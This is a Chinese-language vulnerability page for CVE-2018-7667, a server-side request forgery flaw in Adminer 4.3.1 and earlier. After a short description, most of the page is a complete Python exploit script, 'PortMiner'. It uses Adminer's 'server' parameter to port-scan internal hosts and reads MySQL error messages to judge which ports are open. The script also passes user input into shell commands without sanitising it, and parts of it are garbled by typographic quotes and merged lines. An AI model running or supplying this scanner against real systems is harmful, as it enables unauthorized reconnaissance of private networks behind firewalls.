(CVE-2018-7667)Adminer服务器端请求伪造漏洞

(CVE-2018-7667)Adminer 服务器端请求伪造漏洞
=============================================

一、漏洞简介
————

Adminer
4.3.1及之前版本存在服务器端请求伪造漏洞。攻击者可借助’server’参数利用该漏洞绕过防火墙,确定内部主机,扫描其他服务器的端口。

二、漏洞影响
————

Adminer\<=4.3.1 三、复现过程 ------------ ### poc import socket,re,ssl,warnings,subprocess,time from platform import system as system_name from os import system as system_call #Adminer Server Side Request Forgery #PortMiner Scanner Tool #by John Page (hyp3rlinx) #ISR: ApparitionSec #hyp3rlinx.altervista.org #========================= #D1rty0Tis says hi. #timeout MAX_TIME=32 #ports to log port_lst=[] #Web server response often times out but usually means ports open. false_pos_ports=['80','443'] BANNER=''' ____ _ __ __ _ | _ \ | | | \/ (_) | |__) |__ _ __| |_| \ / |_ _ __ ___ _ __ | ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__| | | | (_) | | | |_| | | | | | | | __/ | |_| \___/|_| \__|_| |_|_|_| |_|\___|_| ''' def info(): print "\nPortMiner depends on Error messages to determine open/closed ports." print "Read operations reported 'timed out' may be open/filtered.\n" def greet(): print 'Adminer Unauthenticated SSRF Port Scanner Tool' print 'Targets Adminer used for MySQL administration\n' print 'by hyp3rlinx - apparition security' print '-----------------------------------------------------\n' print 'Scan small ranges or single ports or expect to wait.\n' print 'Do not scan networks without authorized permission.' print 'Author not responsible for abuse/misuse.\n' def chk_ports(p): p=p.replace('-',',') port_arg=p.split(',') try: if len(port_arg)>1:
if int(port_arg[1]) < int(port_arg[0]): print 'Port range not valid.' raw_input() return if int(port_arg[1])>65535:
print ‘Exceeded max Port range 65535.’
raw_input()
return
except Exception as e:
print str(e)
return None
return list(range(int(port_arg[0]),int(port_arg[1])+1))

def log(IP):
try:
file=open(‘PortMiner.txt’, ‘w’)
file.write(IP+’\n’)
for p in port_lst:
file.write(p+’\n’)
file.close()
except Exception as e:
print str(e)
print “\nSee PortMiner.txt”

def use_ssl(ADMINER,ADMINER_PORT):
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ADMINER,int(ADMINER_PORT)))
s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
s.close()
except Exception as e:
print “”
return False
return True

def version(ip,port,uri,use_ssl):
res=””
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,int(port)))
if use_ssl:
s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
s.send(‘GET ‘+’/’+uri+’/?server=’+’:’+’&username=\r\n\r\n’)

except Exception as e:
print ‘Host up but cant connect.’ #str(e)
print ‘Re-check Host/Port/URI.’
s.close()
return 504

while True:
RES=s.recv(512)
if RES.find(‘Forbidden’)!=-1:
print ‘Forbidden 403’
s.close()
return None
if RES.find(‘401 Authorization Required’)!=-1:
print ‘401 Authorization Required’
s.close()
return None
ver = re.findall(r’(.*)‘,RES,re.DOTALL|re.MULTILINE)
if not RES:
s.close()
return None
if ver:
print ‘Your Adminer ‘+ ver[0] + ‘ works for us now.’
s.close()
return ver

s.close()
return None

def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL):
global MAX_TIME,port_range
RES=”

print ‘scanning ports: %s ‘ % str(port_range[0])+’to ‘ + str(port_range[-1])+’ …’

for aPort in port_range:
aPort=str(aPort)

try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(MAX_TIME)
s.connect((ADMINER,ADMINER_PORT))

if USE_SSL:
s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)

s.send(‘GET /’+ADMINER_URI+’/?server=’+TARGET+’:’+aPort+’&username= HTTP/1.1\r\nHost: ‘+TARGET+’\r\n\r\n’)

except Exception as e:
print str(e)
s.close()
return

while True:
try:
RES=s.recv(512)
###print RES
###Should see HTTP/1.1 403 not 200
if RES.find(‘HTTP/1.1 200 OK’)!=-1:
print ‘port ‘+aPort + ‘ open’
port_lst.append(aPort+’ open’)
s.close()
break

if RES.find(‘400 Bad Request’)!=-1:
print ‘400 Bad Request, check params’
s.close()
break
raw_input()

lst=re.findall(r”([^\n

].*connect to MySQL server on.*[^

\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)”+
“|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)”, RES)

if lst:
status=str(lst)
if status.find(‘connect to MySQL’)!=-1:
if PRINT_CLOSED:
print ‘port ‘+ aPort + ‘ closed’
s.close()
break
elif status.find(‘machine actively refused it.’)!=-1:
if PRINT_CLOSED:
print ‘port ‘+ aPort + ‘ closed’
s.close()
break
elif status.find(‘A connection attempt failed’)!=-1:
if PRINT_CLOSED:
print ‘port ‘+ aPort + ‘ closed’
s.close()
break
elif status.find(‘reading initial communication packet’)!=-1:
print ‘port ‘+aPort + ‘ open’
port_lst.append(aPort+’ open’)
s.close()
break
elif status.find(‘MySQL server has gone away’)!=-1:
print ‘port ‘+aPort + ‘ open’
port_lst.append(aPort+’ open’)
s.close()
break
elif status.find(‘Bad file descriptor’)!=-1:
print ‘port ‘+aPort + ‘ open’
port_lst.append(aPort+’ open’)
s.close()
break
elif status.find(‘Got packets out of order’)!=-1:
print ‘port ‘+aPort + ‘ open’
s.close()
break

except Exception as e:
msg = str(e)
###print msg
if msg.find(‘timed out’)!=-1 and aPort in false_pos_ports:
print ‘port ‘+aPort + ‘ open’
port_lst.append(aPort+’ open’)
s.close()
break
elif msg.find(‘timed out’)!=-1:
print ‘port ‘+aPort + ‘ timed out’
port_lst.append(aPort+’ read operation timed out’)
s.close()
break
else:
s.close()
break

if port_lst:
log(TARGET)
else:
print “Scan completed, no ports mined.”
return 0

def arp(host):
args = “-a” if system_name().lower()==”windows” else “-e”
return subprocess.call(“arp ” + args + ” ” + host, shell=True) == 0

def ping_host(host):
args = “-n 1″ if system_name().lower()==”windows” else “-c 1”
res=subprocess.call(“ping ” + args + ” ” + host, shell=True) == 0
if not res:
print str(host) + ‘ down? trying ARP’
if not arp(host):
print str(host) + ‘ unreachable.’
return
return res

def main():
global port_range
print BANNER
greet()
ADMINER_VERSION=False
PRINT_CLOSED=False
USE_SSL=None

ADMINER=raw_input(‘[+] Adminer Host/IP> ‘)
if ADMINER==”:
print ‘Enter valid Host/IP’
ADMINER=raw_input(‘[+] Adminer Host/IP> ‘)

ADMINER_PORT=raw_input(‘[+] Adminer Port> ‘)
if not re.search(“^\d{1,5}$”,ADMINER_PORT):
print ‘Enter a valid Port.’
ADMINER_PORT=raw_input(‘[+] Adminer Port> ‘)

ADMINER_URI=raw_input(‘[+] Adminer URI [the adminer-.php OR adminer/ dir path] > ‘)
TARGET=raw_input(‘[+] Host/IP to Scan> ‘)

PORTS_TO_SCAN=raw_input(‘[+] Port Range e.g. 21-25> ‘).replace(‘ ‘,”)
plst=re.findall(r”(\d{1,5})-(\d{1,5})”,PORTS_TO_SCAN)
if not plst:
print ‘Invalid ports, format is 1-1025’
return
raw_input() #console up

port_range=chk_ports(PORTS_TO_SCAN)
if not port_range:
return

PRINT_CLOSED=raw_input(‘[+] Print closed ports? 1=Yes any key for No> ‘)
if PRINT_CLOSED==’1’:
PRINT_CLOSED=True
else:
PRINT_CLOSED=False

if not ping_host(ADMINER):
print ‘host %s not reachable or blocking ping ‘ % ADMINER
cont=raw_input(‘Continue with scan? 1=Yes any key for No> ‘)
if cont!=’1’:
print ‘Scan aborted.’
raw_input() #console up
return

USE_SSL=use_ssl(ADMINER,ADMINER_PORT)
time.sleep(2)
ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL)

if not ADMINER_VERSION:
print “Can’t retrieve Adminer script. check supplied URI.”
raw_input() #console up
return
else:
if ADMINER_VERSION==504:
raw_input() #console up
return
if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0:
more=raw_input(‘Info: 1=Yes, any key for No> ‘)
if more==’1′:
info()
raw_input() #console up

if __name__==’__main__’:
main()

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容